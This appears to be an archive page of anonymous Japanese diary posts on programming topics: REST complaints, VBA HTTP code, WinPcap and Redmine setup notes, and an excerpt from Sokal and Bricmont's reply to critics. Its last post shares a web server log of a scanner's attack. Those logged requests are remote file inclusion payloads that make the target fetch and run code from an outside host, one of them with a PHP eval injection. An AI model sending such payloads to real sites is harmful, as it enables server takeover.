RESTとかきついです

RESTはとても美しいパラダイムではありますが、そもそもHTTPがさほど美しくないので歪んだ空間には目を背けるか勝手解釈を与える事で人は初めてRESTfulを名乗る事が出来るのだと思いますGETbodyを(公式には)持たないという事について美しい説明を与える事は出来ないでしょう。サーチAPIはどうしますか。ステータスコード足りなくないですか。401エラーはどうしますか。そしてRESTあくまリソース抽象化する美しい概念なので、アクション副作用については貧弱です。動詞が足りないですし、一般動詞に狭義の意味を与えてドキュメントするのは二度手間しか見えません。PUTには冪等性があるべきみたいなこだわりは家の猫にでも説教してればいいと思います。というわけで、REST的な設計拝借することはよしとしても、「○○はRESTでは無い故云々~」みたいな注文はやめて頂きたいものです。

そんなに嫌なら他に行けば

とか言わないで欲しいです。こういう時にセットでPHPをディスって悦に浸るのは知る限りRubiestとPythonistaと中学生だけです。それにこれはあくまサーバーサイド初心者感想なので、想像するにこれ系のFWは多かれ少なかれ似たような不満を抱えるものなのかなと思います。というわけで、おそらくこれから選択肢がある限りはRailsを使い続けると思います

だってRuby楽しいんだもの

2014-05-29

WinInetを使ってVBAでPOSTする

Option Explicit

Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Private Const INTERNET_OPEN_TYPE_DIRECT = 1
Private Const INTERNET_OPEN_TYPE_PROXY = 3
Private Const INTERNET_SERVICE_HTTP = 3
Private Const INTERNET_DEFAULT_HTTP_PORT = 80
Private Const INTERNET_FLAG_RELOAD = &H80000000

Private Declare Function InternetOpenA Lib "wininet.dll" (ByVal sCallerName As String, ByVal dwAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal dwFlags As Long) As Long
Private Declare Function InternetConnectA Lib "wininet.dll" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nProxyPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal dwService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumberBytesToRead As Long, ByRef lNumberOfBytesRead As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInternetHandle As Long) As Long
Private Declare Function HttpOpenRequestA Lib "wininet.dll" (ByVal hConnect As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal sAcceptTypes As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function HttpSendRequestA Lib "wininet.dll" (ByVal hRequest As Long, ByVal sHeaders As String, ByVal dwHeadersLength As Long, ByVal lpOptional As String, ByVal dwOptionalLength As Long) As Long

Private Function submitPost(ByRef host, ByRef url_path, ByRef sendString) As Variant

  Dim dataArray() As Byte, dataPosition, dataSize

 'WinInet初期化
  Dim hInternet
  hInternet = InternetOpenA(vbNullString, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
  If hInternet = 0 Then
    submitPost = dataArray
    Exit Function
  End If

 'サーバ接続
  Dim hConnect
  hConnect = InternetConnectA(hInternet, host, INTERNET_DEFAULT_HTTP_PORT, vbNullString, vbNullString, INTERNET_SERVICE_HTTP, 0, 0)
  If hConnect = 0 Then
    InternetCloseHandle hInternet
    submitPost = dataArray
    Exit Function
  End If

 'リクエスト初期化
  Dim tmpURL As String * 255
  tmpURL = url_path
  Dim hRequest
  hRequest = HttpOpenRequestA(hConnect, "POST", tmpURL, "HTTP/1.1", vbNullString, 0, INTERNET_FLAG_RELOAD, 0)
  If hRequest = 0 Then
    InternetCloseHandle hConnect
    InternetCloseHandle hInternet
    submitPost = dataArray
    Exit Function
  End If

 'リクエストを送信
  Const strHeader = "Content-Type: application/x-www-form-urlencoded"
  HttpSendRequestA hRequest, strHeader, Len(strHeader), sendString, Len(sendString)

 'データ取得
  Dim readResult, tmpArray(1023) As Byte, tmpPosition, tmpSize
  dataPosition = 0
  dataSize = 0
  Do
    tmpSize = 0
    Erase tmpArray
    readResult = InternetReadFile(hRequest, tmpArray(0), 1024, tmpSize)
    If Not readResult = 1 Or tmpSize = 0 Then
      Exit Do
    End If

    dataSize = dataSize + tmpSize
    ReDim Preserve dataArray(dataSize - 1)
    For tmpPosition = 0 To tmpSize - 1 Step 1
      dataArray(dataPosition) = tmpArray(tmpPosition)
      dataPosition = dataPosition + 1
    Next
  Loop

 'クローズ処理
  InternetCloseHandle hRequest
  InternetCloseHandle hConnect
  InternetCloseHandle hInternet

  submitPost = dataArray

End Function

Public Function downloadFilePost(ByRef targetURL, ByVal sendArray, ByRef savePath) As Boolean

 'URLの分解
  Dim startE, endE, host, url_path
  startE = InStr(1, targetURL, "//") + 2
  endE = InStr(startE, targetURL, "/")
  endE = IIf(startE > endE, Len(targetURL) + 1, endE)
  host = Mid(targetURL, startE, endE - startE)
  url_path = Mid(targetURL, endE)

 'ポストデータエンコード
  Dim jscript
  With CreateObject("ScriptControl")
    .Language = "JScript"
    Set jscript = .CodeObject
  End With
  Dim ix, sendBuffer
  For ix = 0 To UBound(sendArray) Step 1
    sendBuffer = Split(sendArray(ix), "=")
    sendArray(ix) = sendBuffer(0) & "=" & jscript.encodeURIComponent(sendBuffer(1))
  Next
  Set jscript = Nothing

  Dim data
  data = submitPost(host, url_path, Join(sendArray, "&"))

  If LenB(data) <= 0 Then
    downloadFilePost = False
    Exit Function
  End If

 'バイナリで書き込み
  With CreateObject("ADODB.Stream")
    .Type = 1
    .Open
    .Write data
    .SaveToFile savePath, 2
    .Close
  End With

  downloadFilePost = True

End Function

2014-05-21

プログラミング勉強したけどアイデアがないから誰かちょうだい

今年に入ってからプログラミング勉強し始めて、phpjavascriptpythonでとりあえず動くものを作れるようになった。各言語メジャーwebフレームワークも使えるようになったし、過去株価ダウンロードしてmysqlに突っ込んでta-libシストレのバックテストして遊んだり、ニコ動タグ検索結果のクローラー作って新着があればメールで知らせてくれたりするの作ったり、websocketためしてみたりbackbonejsで遊んだりもしてる。ニートから時間無限なのもあるけど、5か月弱でずいぶんできることが増えてきたなと思う。そろそろ何か作って公開してアフィで稼ぎたいなと思い始めた。でも何も出てこない。今月入ってからずっと考えてるのに作りたいものが浮かばない。いくら勉強してもアイデアがなければ無意味なんだと気付いた。誰かアイデアちょうだい

2013-02-24

渋い

The publication in France of our book Impostures Intellectuelles [1] appears to have created a small storm in certain intellectual circles. According to Jon Henley in The Guardian, we have shown that ``modern French philosophy is a load of old tosh.''[2] According to Robert Maggiori in Libération, we are humourless scientistic pedants who correct grammatical errors in love letters.[3] We shall try to explain here why neither is the case.

Some commentators go farther, attacking not our arguments but our alleged motivations for writing the book. Julia Kristeva, writing in Le Nouvel Observateur, accuses us of spreading ``disinformation'' as part of an anti-French politico-economic campaign[4]; she was even quoted (we hope misquoted) by the Italian daily Corriere della Sera as saying that we should undergo psychiatric treatment.[5] Vincent Fleury and Yun Sun Limet, again in Libération, accuse us of seeking to divert research funds from the social to the natural sciences.[6] These defences are curious: for even if our motivations were indeed as ascribed (and they most certainly aren't), how would that affect the validity or invalidity of our arguments? We have the modest hope that calmer heads will soon prevail among both our supporters and our critics, so that the debate can focus on the substantive content of our book.

Which is what? The book grew out of the now-famous hoax in which one of us published, in the American cultural-studies journal Social Text, a parody article chock-full of nonsensical, but unfortunately authentic, quotes about physics and mathematics by prominent French and American intellectuals.[7] However, only a small fraction of the ``dossier'' discovered during Sokal's library research could be included in the parody. After showing this larger dossier to scientist and non-scientist friends, we became (slowly) convinced that it might be worth making it available to a wider audience. We wanted to explain, in non-technical terms, why the quotes are absurd or, in many cases, simply meaningless; and we wanted also to discuss the cultural circumstances that enabled these discourses to achieve such prominence and to remain, thus far, unexposed. Hence our book, the noise and the furore.

2012-09-18

http://anond.hatelabo.jp/20120918173309

書き捨て

https://github.com/tdtds/massr

bundle install --path vendor/bundle
Gemfile syntax error:
/h/massr/Gemfile:14: syntax error, unexpected ':', expecting kEND
	gem 'sinatra-reloader', require: 'sinatra/reloader'
	                                ^
/h/massr/Gemfile:16: syntax error, unexpected ':', expecting kEND
	gem 'pit', require: 'pit'
	                   ^

sudo gem install sinatra
Successfully installed sinatra-1.3.3
1 gem installed
Installing ri documentation for sinatra-1.3.3...

unrecognized option `--encoding=UTF-8'

For help on options, try 'rdoc --help'

ERROR:  While generating documentation for sinatra-1.3.3
... MESSAGE:   exit
... RDOC args: --ri --op /Library/Ruby/Gems/1.8/doc/sinatra-1.3.3/ri --line-numbers --inline-source --title Sinatra --main README.rdoc --encoding=UTF-8 lib README.de.rdoc README.es.rdoc README.fr.rdoc README.hu.rdoc README.jp.rdoc README.ko.rdoc README.pt-br.rdoc README.pt-pt.rdoc README.rdoc README.ru.rdoc README.zh.rdoc LICENSE --title sinatra-1.3.3 Documentation --quiet

アホか

http://anond.hatelabo.jp/20120918155055

解決しない問題なので書き捨てる

~/.rbenv/shims/bundle 使ってるのに /Library/Ruby/Gems/1.8/gems/bundler-1.1.3/lib/bundler/ 以下を見に行こうとするのをやめてくれないので bundle install が通らない

これで半日近く悩んでいる

糞が

2012-04-02

winpcap アプリ開発 Windows C言語

pcap.h は、windows.h よりも先にinlcude宣言すること。

#include "pcap.h"

#include <windows.h>


あとは、wpcap.libライブラリとして登録すればよろしい。

2011-10-06

WINPCAP 4.1.2 を使ったアプリケーション開発(with VC++ 2010 EXPRESS)で

Windows 7 64bit 版上で winpcap を使ったサービスプロセス制作

こちらのページを参考にさせてもらった。

WinPcapを使用したパケットモニター作成CodeZine 古谷誠進さん

http://codezine.jp/article/detail/126?p=2

が、1点バグ発見

・アダプタ一覧(アダプタ名およびIPアドレス)を取得する

の箇所

// デバイス情報バッファを開放する

処理は、while(d)ループの外でやらなくちゃいけない。

デバッグきつかったっす、サービスだとデバッグできないこともあって。

・俺のマシンが64bitだからwinpcap.dlllibと合わない?

(PCAPSDKのLibx64というサブフォルダがあって、こっちのものを指定しなきゃだめ?)

・WIDECHARとMULTIBYTE の扱いの問題?

と、いろいろ迂回してしまった。

"途中で停止しました"の原因を2時間くらいいろいろ調べ、

解消したら、無事動き出した。

「まずはサンプルの制作から」と、時間をかけないために記事はあとでゆっくり研究しよう...と

コードコピペで済ませてるあたしが悪いんだよ。

ちなみに、いろいろ掲載されている情報の中で、こちらのWEBページの記事が一番わかりやすかったです

2011-08-11

*[プログラミング]ズブの素人プログラミング勉強して大規模サイト

日記途中だけど緊急事態><、一番下まで呼んで誰か助けてください><

今日から夏休みが始まったのでプログラミング勉強しようと思う。

3日坊主にならないようにがんばる。

  • 何故日記をつけるか?

去年もプログラミングマスターになろうとしたが失敗。

去年の二の舞にならないようにモチベを維持するために日記を書く。

これに影響された。師匠と呼ぼう。

プログラミングができたらかっこいい!

サークル友達もいなくさびしい夏休み有意義にしようとするため

都内の大学に通う2年生。

前述のとおりサークルもやってない、友達もいない、典型的インドアオタク

でも顔はイケメン

プログラミングは3年前にJavascriptHTMLネトゲでの戦いを整形するために覚えた程度。ほとんど忘れてる。

C言語大学で習ったが「苦しんで覚えるC言語」というサイトにのっている範囲しかやってない。

一応プログラミングの知識は少しはある。

やっぱり、目標はあったほうがいい。

うーん、やっぱり完全に一致みたいな情報網羅サイトを作ってみようと思う。

色々な技術が手に入りそうだし。

色々な言語も学べそう

どんなサイトにするか?大規模情報サイト
学ぶ言語HTML,PHP,Ruby,Javascript,CSS

とりあえずプログラミングにはエディタアップロードするやつが必要なので色々いれてみた。

エディタ
Netbeans重い、すごく重い
phpエディタphpしか編集できない
terapad色分けが出来ない
K2Editorこれが一番最強。でもphp対応してない
HIDEMARU4000YENwin7じゃ使えなかった。
アップするやつ
FileZilla使いづらい、糞
ALFTPこれが一番しっくりきた

というわけで色々悩んだ結果、基本K2Editor、php編集Netbeans,アップロードALFTPにした。

phphtmlrubyjavascript対応してて色分けも出来るwin7で動くエディタないのが残念

実は1ヶ月前にプログラミング勉強しようと思ってサーバーは借りてた。

試験があったので泣く泣く今日からはじめる事に。

ググったり、2chに質問したりして悩んで悩んでロリポップのチカッパプランを借りる事にした。

http://lolipop.jp/service/plan-chicappa/

初期費用 ¥1,575
料金(6ヶ月) ¥3,150
(1ヶ月あたり) ¥525
合計金額 ¥4,725

学生自分にとってはめちゃくちゃ高い。

しかしながら無料レンタルさばより色々といじれて、なにより「お金はもう払った、使わないともったいない」という意識を持つ事でだらけないで出来ると思う。

まず師匠日記をみてみる。HTMLCSSからはじめたと書いてあるが、多分これからはじめると飽きる。

なのでWeb情報自動で集めてくれる(これをスクレイピングという)BOTを作ろうと思う。

日記を読むとMechaniseというのを使ってるらしい。

グーグルでMechaniseで検索

そうするとRuby jamというもので動いているものらしく、Ruby jamRubyで動いている。

Rubyは鯖にはいっているがどうやらjamのほうははいっていないらしくMechaniseもはいっていない。ということで

  • 助けて

ロリポップの解説ページをみてPuTTyていうのをいれてSSH操作ってやつをしてた。

http://d.hatna.ne.jp/taramonera/20100601/1275388515

このページをみながらやってたら

% vi ~/.cshrc

これを実行して

setenv RUBYLIB /home/アカウント名/lib

setenv GEM_HOME /home/アカウント名/lib/rubygems

これを書いて終わろうとしたけど終わり方がわからない><

:wqで保存終了らしいんだけど、入力したところで終われない><

エンタしまくってもだめ><

教えて得ろい人><

2010-05-10

多倍長ライブラリMPIRで複素数std::complexを扱う方法(C++)

C++プログラムで多倍長な複素数を使いたかったのでメモ

C++において多倍長整数,多倍長浮動小数点を扱うライブラリとしてGMPが有名だ.

Visual C++を使っているのなら,GMPと互換のあるMPIRが導入しやすくて良い.

以下,VC10 (Visual Studio 2010)環境での話.

このMPIRはどうもC++複素数クラスstd::complexと相性が悪いようだ.

以下のコードエラーとなってしまう.

#include <complex&gt; 
#include <iostream&gt; 
#include <iomanip&gt; 
#include <mpirxx.h&gt; 

int main()
{
	std::complex<mpf_class&gt; a(1.0, 2.0);
	std::complex<mpf_class&gt; b(0.0, 1.0);
	std::complex<mpf_class&gt; c1 = a + b;
	std::complex<mpf_class&gt; c2 = a - b;
	std::complex<mpf_class&gt; c3 = a * b;
//	std::complex<mpf_class&gt; c4 = a / b;	// error
	
	std::cout << "a  =" << a  << std::endl
	          << "b  =" << b  << std::endl
	          << "c1 =" << c1 << std::endl
	          << "c2 =" << c2 << std::endl
	          << "c3 =" << c3 << std::endl;
//	std::cout << "c4 =" << c4 << std::endl;
	return 0;
}

「operator/=」から呼び出される「_Div」内部でエラーが出る.

そこでテンプレートの特殊化をする.

#pragma once
#include <mpirxx.h&gt;
#if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1500)      /* VC9 (Visual Studio 2008) */
  #pragma comment(lib, "C:\\lib\\MPIR\\vc9\\mpirxx.lib")
  #pragma comment(lib, "C:\\lib\\MPIR\\vc9\\mpir.lib")
#else if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1600) /* VC10 (Visual Studio 2010) */
  #pragma comment(lib, "C:\\lib\\MPIR\\vc10\\mpirxx.lib")
  #pragma comment(lib, "C:\\lib\\MPIR\\vc10\\mpir.lib")
#endif

#include<complex&gt;
namespace std {
	template<&gt;
	complex<mpf_class&gt;&amp;amp; complex<mpf_class&gt;::operator/=(const complex<mpf_class&gt;&amp;amp; _Right)
	{	// divide by other complex   //this-&gt;_Div(_Right);
		mpf_class _Rightreal = (mpf_class)_Right.real();
		mpf_class _Rightimag = (mpf_class)_Right.imag();

		mpf_class bunbo = _Rightreal * _Rightreal + _Rightimag * _Rightimag;
		mpf_class re = ( this-&gt;real() * _Rightreal + this-&gt;imag() * _Rightimag ) / bunbo;
		mpf_class im = ( this-&gt;imag() * _Rightreal - this-&gt;real() * _Rightimag ) / bunbo;

		this-&gt;real(re);
		this-&gt;imag(im);
		return (*this);
	}
}

これでとりあえずは割り算もできるようになった.

計算精度については何も考えていない.

突っ込みお待ちしてます.

2010-04-22

Redmine 0.9.3をTomcat 6で実行する方法

結構苦労したので健忘録として。。

環境は以下のとおり

JDK, Tomcat, JRubyインストール済み

MySQLインストール
yum install mysql-server
MySQLの起動
/etc/init.d/mysqld start
MySQLの設定

rootパスワードなどを設定する

mysql_secure_installation
Rubyモジュールインストール

RubyGemsモジュールインストールする

jruby -S gem install rails
jruby -S gem install warbler
jruby -S gem install activerecord-jdbc-adapter
jruby -S gem install activerecord-jdbcmysql-adapter
jruby -S gem install jdbc-mysql
MySQLRedmineデータベースを作成
mysql -u root -p
mysql&gt; create database redmine character set utf8;
mysql&gt; grant all privileges on redmine.* to 'redmine'@'localhost' identified by 'redmine';
mysql&gt; exit

(ここでは、パスワードredmineしているが自由に)

RedmineDB設定

(任意の場所にRedmine解凍して、解凍先のディレクトリに移動した後)

cp config/database.yml.example config/database.yml
vi config/database.yml

database.yml

production:
  adapter: jdbcmysql
  database: redmine
  host: localhost
  username: redmine
  password: redmine
  encoding: utf8

#development:
#
#
#test:
#
#

後のwarbleでのエラーを防ぐため、developmentとtestコメントアウト

DBへのデータ投入
jruby -S rake generate_session_store
jruby -S rake db:migrate RAILS_ENV=production
jruby -S rake load_default_data RAILS_ENV=production
起動確認

script/serverで起動し、http://localhost:3000 にアクセスして正常に動作するか確認する

jruby script/server -e production
production.rbの修正

Tomcatで動かしたときにログ出力するための設定をする

vi config/environments/production.rb
config.logger = Logger.new(config.log_path)
config.logger.level = Logger::INFO
warblerの設定

warble.rbを生成

jruby -S warble config

warble.rbを修正

vi config/warble.rb
  config.dirs = %w(app config lib log vendor tmp extra files lang)
  config.gems = ["jdbc-mysql", "activerecord-jdbcmysql-adapter", "activerecord-jdbc-adapter"]
  config.gems["rails"] = "2.3.5"
  config.gems["rack"] = "1.0.1"
  config.webxml.rails.env = "production"

warファイルを作成

jruby -S warble

できたwarファイルTomcatに配置して、Tomcatを起動する

mv redmine-0.9.3.war /usr/local/tomcat/webapps/redmine.war
/usr/local/tomcat/bin/startup.sh

warblerのバグ(?)でwarに入らないファイルコピーして入れる

cp vendor/gems/rubytree-0.5.2/.specification /usr/local/tomcat/webapps/redmine/WEB-INF/vendor/gems/rubytree-0.5.2

http://localhost:8080/redmine/ にアクセスしてインストールできたか確認して完了!

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&GLOBALS=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&amp;task=&amp;sectionid=&amp;id=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

アーカイブ ヘルプ
ログイン ユーザー登録
ようこそ ゲスト さん